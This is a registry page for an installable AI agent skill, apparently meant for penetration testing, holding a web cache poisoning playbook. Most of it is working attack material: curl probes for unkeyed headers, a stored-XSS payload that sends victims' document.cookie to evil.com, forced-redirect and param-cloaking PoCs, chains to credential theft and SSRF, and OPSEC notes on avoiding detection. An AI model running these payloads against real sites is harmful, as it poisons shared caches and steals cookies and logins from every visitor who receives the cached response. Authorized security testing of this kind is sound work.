CtrlK
BlogDocsLog inGet started
Tessl Logo

web-cache-poisoning

Unkeyed-input cache poisoning — X-Forwarded-Host/Scheme/Port, X-Original-URL, fat-GET, parameter cloaking, oversized-header DoS, and chains to stored-XSS / open redirect via shared caches.

69

Quality

85%

Does it follow best practices?

Run evals on this skill

Adds up to 20 points to the overall score

View guide

SecuritybySnyk

Critical

Do not install without reviewing

SKILL.md
Quality
Evals
Security

Web Cache Poisoning Playbook

Distinct from cache deception (tricking the cache into storing a victim's private response). Here, the attacker poisons the shared cache so every subsequent visitor receives an attacker-controlled response. Impact ranges from defacement → reflected-XSS-as-stored → forced-redirect → DoS.

1. Detection — find unkeyed inputs

Definition: an unkeyed input is a header/parameter the cache ignores when building the cache key but the origin reflects into the response.

URL="https://<TARGET>/"

# (1) Cache-status fingerprint — must see HIT/MISS to know caching exists
curl -s -D- -o /dev/null "$URL?cb=$RANDOM" | grep -iE "age|x-cache|cf-cache-status|via"

# (2) Suspect headers — reflect into body or Location?
for H in "X-Forwarded-Host: evil.com" "X-Forwarded-Scheme: http" \
         "X-Forwarded-Port: 8888" "X-Forwarded-For: evil.com" \
         "X-Host: evil.com" "X-Original-URL: /admin" \
         "X-Rewrite-URL: /admin" "X-Forwarded-Server: evil.com" \
         "Forwarded: host=evil.com"; do
  echo "== $H =="
  curl -s "$URL?cb=$RANDOM" -H "$H" | grep -E "evil\.com|8888|/admin" | head -3
done

# (3) Confirm poisoning — same URL twice, second request WITHOUT the header
curl -s "$URL?poison=1" -H "X-Forwarded-Host: evil.com" -o /dev/null
curl -s "$URL?poison=1" | grep -E "evil\.com"   # if present → poisoned

2. Misconfig / technique matrix

ClassTriggerOutcome
Standard unkeyed headerX-Forwarded-Host: evil.com reflected into <link rel=canonical> or absolute URLsstored open-redirect / XSS
Scheme downgradeX-Forwarded-Scheme: http reflectedforce-HTTP cache → MITM
Port confusionX-Forwarded-Port: 1 reflected into JS asset URLsbroken site DoS
Routing overrideX-Original-URL: /admin, X-Rewrite-URLcached admin page served to public
Fat GETGET with a body parsed by origin but unkeyed by cacheinject params via body
Parameter cloaking?utm=x&utm=<payload> — cache normalizes, origin doesn't (or vice-versa)poisoned param survives
Key normalization flawcache lowercases path, origin doesn't (or strips ;jsessionid)desync key vs. response
Cache-key injection via Vary gapresponse varies on header cache doesn't includeper-attacker poisoning
HTTP/0.9 / smuggling-assistdownstream cache stores smuggled responsemass poisoning
Cache-Control overlaporigin returns Cache-Control: private, CDN ignores itprivate response cached globally
Oversized-header DoShuge unkeyed header → origin 400, CDN caches 400denial-of-service on the URL
404 / error cachingerror page cached with attacker payload reflectedDoS + stored XSS

3. Exploit PoC

3.1 Stored-XSS via unkeyed Host

# Origin reflects X-Forwarded-Host into <meta property="og:url">
curl -s "https://<TARGET>/?cb=$RANDOM" \
  -H 'X-Forwarded-Host: a"><script>fetch("https://evil.com/?c="+document.cookie)</script><x="'
# Verify cache HIT for the next visitor:
curl -s "https://<TARGET>/?cb=$RANDOM" | grep -o 'evil\.com'

3.2 Forced redirect

curl -s "https://<TARGET>/login?cb=$RANDOM" -H "X-Forwarded-Host: evil.com" -o /dev/null
# Subsequent victims:
curl -sI "https://<TARGET>/login?cb=$RANDOM" | grep -i location
# → Location: https://evil.com/login  (cached for the TTL)

3.3 Param-cloaking poison (Ruby/Rails-style last-wins vs. CDN first-wins)

curl -s "https://<TARGET>/?utm=clean&utm=%22%3E%3Csvg/onload=alert(1)%3E"

4. Chains

  • Cache poisoning → stored XSS: reflected XSS upgraded to mass-victim impact via cached response.
  • Cache poisoning → ATO: poison /login to send creds to attacker via swapped form action.
  • Cache poisoning → SSRF: poison API responses an internal job consumes.
  • Smuggling → cache poisoning: HTTP request smuggling stores arbitrary attacker response globally.

5. Tools

  • Burp Suite — Param Miner extension (Hackvertor + cache rules) — the canonical tool
  • cache-poisoning payload lists (PortSwigger research)
  • httpx -follow-redirects -title -tech-detect for fingerprinting Vary/X-Cache

6. Detection signatures & OPSEC

IndicatorDetection methodOPSEC note
Repeated X-Forwarded-* permutations on one URLWAF rule / access logCache-bust with ?cb=$RANDOM per probe; do NOT poison shared paths during tests
Sudden cache HIT containing attacker hostCDN log reviewUse a unique sentinel host you can prove you own
Mass Age: 0 on poisoned pathsCDN metricCoordinate purge with the defender before disclosure

Decision Gate: poisoning confirmed → exploitation

  • Caching layer present (X-Cache: HIT, Age: ticks)
  • At least one unkeyed input reflects into response/redirect
  • A second request without the input still returns the poisoned response
  • Reflected payload reaches a security-sensitive sink (script, Location, form action)
  • Defender notified before live-cache exploitation (authorized scope) If all checked, escalate per finding-protocol; otherwise downgrade.
Repository
PurpleAILAB/Decepticon
Last updated
First committed

Is this your skill?

If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.